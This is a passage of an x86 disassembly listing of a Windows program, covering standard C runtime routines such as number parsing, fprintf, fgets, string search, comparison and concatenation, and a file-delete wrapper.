		jmp	loc_41854D
; ---------------------------------------------------------------------------


loc_4182FE:				; CODE XREF: sub_418220+C7j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41833C
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 30h
		jz	short loc_418316
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41833C
; ---------------------------------------------------------------------------


loc_418316:				; CODE XREF: sub_418220+EBj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 78h
		jz	short loc_41832C
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 58h
		jnz	short loc_418335


loc_41832C:				; CODE XREF: sub_418220+FFj
		mov	[ebp+arg_8], 10h
		jmp	short loc_41833C
; ---------------------------------------------------------------------------


loc_418335:				; CODE XREF: sub_418220+10Aj
		mov	[ebp+arg_8], 8


loc_41833C:				; CODE XREF: sub_418220+E2j
					; sub_418220+F4j ...
		cmp	[ebp+arg_8], 10h
		jnz	short loc_41837B
		movsx	eax, byte ptr [ebp+var_8]
		cmp	eax, 30h
		jnz	short loc_41837B
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 78h
		jz	short loc_418361
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 58h
		jnz	short loc_41837B


loc_418361:				; CODE XREF: sub_418220+134j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41837B:				; CODE XREF: sub_418220+120j
					; sub_418220+129j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_10], eax


loc_418386:				; CODE XREF: sub_418220+26Bj
		cmp	dword_447480, 1
		jle	short loc_4183A7
		push	4
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_1C], eax
		jmp	short loc_4183C2
; ---------------------------------------------------------------------------


loc_4183A7:				; CODE XREF: sub_418220+16Dj
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_1C], eax


loc_4183C2:				; CODE XREF: sub_418220+185j
		cmp	[ebp+var_1C], 0
		jz	short loc_4183D4
		movsx	ecx, byte ptr [ebp+var_8]
		sub	ecx, 30h
		mov	[ebp+var_14], ecx
		jmp	short loc_418433
; ---------------------------------------------------------------------------


loc_4183D4:				; CODE XREF: sub_418220+1A6j
		cmp	dword_447480, 1
		jle	short loc_4183F9
		push	103h
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		push	edx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_20], eax
		jmp	short loc_418416
; ---------------------------------------------------------------------------


loc_4183F9:				; CODE XREF: sub_418220+1BBj
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 103h
		mov	[ebp+var_20], edx


loc_418416:				; CODE XREF: sub_418220+1D7j
		cmp	[ebp+var_20], 0
		jz	short loc_418431
		movsx	eax, byte ptr [ebp+var_8]
		push	eax
		call	sub_422500
		add	esp, 4
		sub	eax, 37h
		mov	[ebp+var_14], eax
		jmp	short loc_418433
; ---------------------------------------------------------------------------


loc_418431:				; CODE XREF: sub_418220+1FAj
		jmp	short loc_418490
; ---------------------------------------------------------------------------


loc_418433:				; CODE XREF: sub_418220+1B2j
					; sub_418220+20Fj
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+arg_8]
		jb	short loc_41843D
		jmp	short loc_418490
; ---------------------------------------------------------------------------


loc_41843D:				; CODE XREF: sub_418220+219j
		mov	edx, [ebp+arg_C]
		or	edx, 8
		mov	[ebp+arg_C], edx
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_10]
		jb	short loc_418463
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_10]
		jnz	short loc_418472
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	[ebp+var_14], edx
		ja	short loc_418472


loc_418463:				; CODE XREF: sub_418220+22Cj
		mov	edx, [ebp+var_C]
		imul	edx, [ebp+arg_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_C], edx
		jmp	short loc_41847A
; ---------------------------------------------------------------------------


loc_418472:				; CODE XREF: sub_418220+234j
					; sub_418220+241j
		mov	eax, [ebp+arg_C]
		or	al, 4
		mov	[ebp+arg_C], eax


loc_41847A:				; CODE XREF: sub_418220+250j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_418386
; ---------------------------------------------------------------------------


loc_418490:				; CODE XREF: sub_418220:loc_418431j
					; sub_418220+21Bj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		and	edx, 8
		test	edx, edx
		jnz	short loc_4184B8
		cmp	[ebp+arg_4], 0
		jz	short loc_4184AF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4184AF:				; CODE XREF: sub_418220+287j
		mov	[ebp+var_C], 0
		jmp	short loc_41852A
; ---------------------------------------------------------------------------


loc_4184B8:				; CODE XREF: sub_418220+281j
		mov	ecx, [ebp+arg_C]
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_4184F2
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jnz	short loc_41852A
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_4184DF
		cmp	[ebp+var_C], 80000000h
		ja	short loc_4184F2


loc_4184DF:				; CODE XREF: sub_418220+2B4j
		mov	ecx, [ebp+arg_C]
		and	ecx, 2
		test	ecx, ecx
		jnz	short loc_41852A
		cmp	[ebp+var_C], 7FFFFFFFh
		jbe	short loc_41852A


loc_4184F2:				; CODE XREF: sub_418220+2A0j
					; sub_418220+2BDj
		call	sub_4224D0
		mov	dword ptr [eax], 22h
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jz	short loc_418510
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_41852A
; ---------------------------------------------------------------------------


loc_418510:				; CODE XREF: sub_418220+2E5j
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_418523
		mov	[ebp+var_C], 80000000h
		jmp	short loc_41852A
; ---------------------------------------------------------------------------


loc_418523:				; CODE XREF: sub_418220+2F8j
		mov	[ebp+var_C], 7FFFFFFFh


loc_41852A:				; CODE XREF: sub_418220+296j
					; sub_418220+2AAj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_418538
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx


loc_418538:				; CODE XREF: sub_418220+30Ej
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41854A
		mov	ecx, [ebp+var_C]
		neg	ecx
		mov	[ebp+var_C], ecx


loc_41854A:				; CODE XREF: sub_418220+320j
		mov	eax, [ebp+var_C]


loc_41854D:				; CODE XREF: sub_418220+D9j
		mov	esp, ebp
		pop	ebp
		retn
sub_418220	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418560	proc near		; CODE XREF: sub_401C87+4E16p
					; sub_401C87+5277p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_418220
		add	esp, 10h
		pop	ebp
		retn
sub_418560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418580	proc near		; CODE XREF: sub_401C87+458Bp
					; .data:004185D7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E0344	; DeleteFileA
		test	eax, eax
		jnz	short loc_41859D
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_4185A4
; ---------------------------------------------------------------------------


loc_41859D:				; CODE XREF: sub_418580+10j
		mov	[ebp+var_4], 0


loc_4185A4:				; CODE XREF: sub_418580+1Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4185BB
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_422430
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_4185BD
; ---------------------------------------------------------------------------


loc_4185BB:				; CODE XREF: sub_418580+28j
		xor	eax, eax


loc_4185BD:				; CODE XREF: sub_418580+39j
		mov	esp, ebp
		pop	ebp
		retn
sub_418580	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_418580
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185F0	proc near		; CODE XREF: sub_401C87+44F9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax


loc_4185FF:				; CODE XREF: sub_4185F0+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_418623
		push	offset dword_4344AC
		push	0
		push	38h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418623
		int	3		; Trap to Debugger


loc_418623:				; CODE XREF: sub_4185F0+13j
					; sub_4185F0+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4185FF


loc_418629:				; CODE XREF: sub_4185F0+61j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41864D
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	39h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41864D
		int	3		; Trap to Debugger


loc_41864D:				; CODE XREF: sub_4185F0+3Dj
					; sub_4185F0+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_418629
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41AE20
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4226D0
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4209A0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_422830
		add	esp, 8
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41AE90
		add	esp, 4
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4185F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186C0	proc near		; CODE XREF: sub_401C87+344Ap
					; sub_401C87+3477p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], ecx


loc_4186D5:				; CODE XREF: sub_4186C0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_4186F9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	3Bh
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4186F9
		int	3		; Trap to Debugger


loc_4186F9:				; CODE XREF: sub_4186C0+19j
					; sub_4186C0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4186D5


loc_4186FF:				; CODE XREF: sub_4186C0+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418723
		push	offset dword_4344AC
		push	0
		push	3Ch
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418723
		int	3		; Trap to Debugger


loc_418723:				; CODE XREF: sub_4186C0+43j
					; sub_4186C0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4186FF
		cmp	[ebp+arg_4], 0
		jg	short loc_418736
		xor	eax, eax
		jmp	loc_4187F7
; ---------------------------------------------------------------------------


loc_418736:				; CODE XREF: sub_4186C0+6Dj
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41AE20
		add	esp, 4


loc_418748:				; CODE XREF: sub_4186C0:loc_4187DDj
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_4], 0
		jz	loc_4187E2
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_418793
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		and	ecx, 0FFh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		jmp	short loc_4187A2
; ---------------------------------------------------------------------------


loc_418793:				; CODE XREF: sub_4186C0+B1j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41FB00
		add	esp, 4
		mov	[ebp+var_14], eax


loc_4187A2:				; CODE XREF: sub_4186C0+D1j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_4187C1
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_4187BF
		mov	[ebp+var_10], 0
		jmp	short loc_4187E8
; ---------------------------------------------------------------------------


loc_4187BF:				; CODE XREF: sub_4186C0+F4j
		jmp	short loc_4187E2
; ---------------------------------------------------------------------------


loc_4187C1:				; CODE XREF: sub_4186C0+ECj
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_C]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+var_C]
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		cmp	ecx, 0Ah
		jnz	short loc_4187DD
		jmp	short loc_4187E2
; ---------------------------------------------------------------------------


loc_4187DD:				; CODE XREF: sub_4186C0+119j
		jmp	loc_418748
; ---------------------------------------------------------------------------


loc_4187E2:				; CODE XREF: sub_4186C0+95j
					; sub_4186C0:loc_4187BFj ...
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0


loc_4187E8:				; CODE XREF: sub_4186C0+FDj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41AE90
		add	esp, 4
		mov	eax, [ebp+var_10]


loc_4187F7:				; CODE XREF: sub_4186C0+71j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4186C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418800	proc near		; CODE XREF: sub_401C87+1A63p
					; sub_401C87+1A82p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418821
		xor	eax, eax
		jmp	short loc_418823
; ---------------------------------------------------------------------------


loc_418821:				; CODE XREF: sub_418800+1Bj
		mov	eax, edi


loc_418823:				; CODE XREF: sub_418800+1Fj
		cld
		pop	edi
		leave
		retn
sub_418800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418830	proc near		; CODE XREF: sub_401C87+831p
					; .data:004134ACp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418861
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41885F
		jz	short loc_418861
		dec	ecx
		dec	ecx


loc_41885F:				; CODE XREF: sub_418830+29j
		not	ecx


loc_418861:				; CODE XREF: sub_418830+9j
					; sub_418830+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418870	proc near		; CODE XREF: sub_401C87+418p
					; sub_401C87+3C1Bp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_4188E1
sub_418870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418880	proc near		; CODE XREF: sub_401C87+421p
					; sub_401C87+34D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41889C


loc_41888D:				; CODE XREF: sub_418880+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_4188CF
		test	ecx, 3
		jnz	short loc_41888D


loc_41889C:				; CODE XREF: sub_418880+Bj
					; sub_418880+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41889C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_4188DE
		test	ah, ah
		jz	short loc_4188D9
		test	eax, 0FF0000h
		jz	short loc_4188D4
		test	eax, 0FF000000h
		jz	short loc_4188CF
		jmp	short loc_41889C
; ---------------------------------------------------------------------------


loc_4188CF:				; CODE XREF: sub_418880+12j
					; sub_418880+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_4188E1
; ---------------------------------------------------------------------------


loc_4188D4:				; CODE XREF: sub_418880+44j
		lea	edi, [ecx-2]
		jmp	short loc_4188E1
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_418880+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_4188E1
; ---------------------------------------------------------------------------


loc_4188DE:				; CODE XREF: sub_418880+39j
		lea	edi, [ecx-4]


loc_4188E1:				; CODE XREF: sub_418870+5j
					; sub_418880+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_418906


loc_4188ED:				; CODE XREF: sub_418880+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_418958
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_4188ED
		jmp	short loc_418906
; ---------------------------------------------------------------------------


loc_418901:				; CODE XREF: sub_418880+9Ej
					; sub_418880+B8j
		mov	[edi], edx
		add	edi, 4


loc_418906:				; CODE XREF: sub_418880+6Bj
					; sub_418880+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_418901
		test	dl, dl
		jz	short loc_418958
		test	dh, dh
		jz	short loc_41894F
		test	edx, 0FF0000h
		jz	short loc_418942
		test	edx, 0FF000000h
		jz	short loc_41893A
		jmp	short loc_418901
; ---------------------------------------------------------------------------


loc_41893A:				; CODE XREF: sub_418880+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418942:				; CODE XREF: sub_418880+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41894F:				; CODE XREF: sub_418880+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418958:				; CODE XREF: sub_418880+72j
					; sub_418880+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_418880	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418970


loc_418960:				; CODE XREF: sub_418970+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418970
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418970	proc near		; CODE XREF: sub_401C87+3FDp
					; sub_401C87+49Ep ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418960 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_418976:				; CODE XREF: sub_417E00+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41899B


loc_418988:				; CODE XREF: sub_418970+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418960
		test	cl, cl
		jz	short loc_4189E4
		test	edx, 3
		jnz	short loc_418988


loc_41899B:				; CODE XREF: sub_418970+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4189A6:				; CODE XREF: sub_418970+61j
					; sub_418970+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4189E8
		and	eax, 81010100h
		jz	short loc_4189A6
		and	eax, 1010100h
		jnz	short loc_4189E2
		and	esi, 80000000h
		jnz	short loc_4189A6


loc_4189E2:				; CODE XREF: sub_418970+68j
					; sub_418970+81j ...
		pop	esi
		pop	edi


loc_4189E4:				; CODE XREF: sub_418970+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4189E8:				; CODE XREF: sub_418970+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_418A25
		test	al, al
		jz	short loc_4189E2
		cmp	ah, bl
		jz	short loc_418A1E
		test	ah, ah
		jz	short loc_4189E2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418A17
		test	al, al
		jz	short loc_4189E2
		cmp	ah, bl
		jz	short loc_418A10
		test	ah, ah
		jz	short loc_4189E2
		jmp	short loc_4189A6
; ---------------------------------------------------------------------------


loc_418A10:				; CODE XREF: sub_418970+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418A17:				; CODE XREF: sub_418970+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418A1E:				; CODE XREF: sub_418970+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418A25:				; CODE XREF: sub_418970+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418A30	proc near		; CODE XREF: sub_401C87+1A2p
					; sub_401C87+1F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_418A7C


loc_418A40:				; CODE XREF: sub_418A30+3Cj
					; sub_418A30+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_418A74
		or	al, al
		jz	short loc_418A70
		cmp	ah, [ecx+1]
		jnz	short loc_418A74
		or	ah, ah
		jz	short loc_418A70
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_418A74
		or	al, al
		jz	short loc_418A70
		cmp	ah, [ecx+3]
		jnz	short loc_418A74
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_418A40
		mov	edi, edi


loc_418A70:				; CODE XREF: sub_418A30+18j
					; sub_418A30+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418A74:				; CODE XREF: sub_418A30+14j
					; sub_418A30+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418A7C:				; CODE XREF: sub_418A30+Ej
		test	edx, 1
		jz	short loc_418A98
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_418A74
		inc	ecx
		or	al, al
		jz	short loc_418A70
		test	edx, 2
		jz	short loc_418A40


loc_418A98:				; CODE XREF: sub_418A30+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_418A74
		or	al, al
		jz	short loc_418A70
		cmp	ah, [ecx+1]
		jnz	short loc_418A74
		or	ah, ah
		jz	short loc_418A70
		add	ecx, 2
		jmp	short loc_418A40
sub_418A30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AC0	proc near		; CODE XREF: sub_401C87+B4p
					; sub_401C87+CDp ...

var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_30], eax
		call	sub_421920
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], 0
		jmp	short loc_418AE6
; ---------------------------------------------------------------------------


loc_418ADD:				; CODE XREF: sub_418AC0+34j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_418AE6:				; CODE XREF: sub_418AC0+1Bj
		cmp	[ebp+var_C], 20h
		jge	short loc_418AF6
		mov	edx, [ebp+var_C]
		mov	[ebp+edx+var_2C], 0
		jmp	short loc_418ADD
; ---------------------------------------------------------------------------


loc_418AF6:				; CODE XREF: sub_418AC0+2Aj
					; sub_418AC0+79j
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		sar	edx, 3
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_2C]
		or	cl, al
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		sar	eax, 3
		mov	[ebp+eax+var_2C], cl
		mov	ecx, [ebp+var_30]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_30]
		add	eax, 1
		mov	[ebp+var_30], eax
		test	edx, edx
		jnz	short loc_418AF6
		cmp	[ebp+arg_0], 0
		jz	short loc_418B49
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B49:				; CODE XREF: sub_418AC0+7Fj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+18h]
		mov	[ebp+var_4], eax


loc_418B52:				; CODE XREF: sub_418AC0+87j
					; sub_418AC0+CFj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_418B91
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_418B91
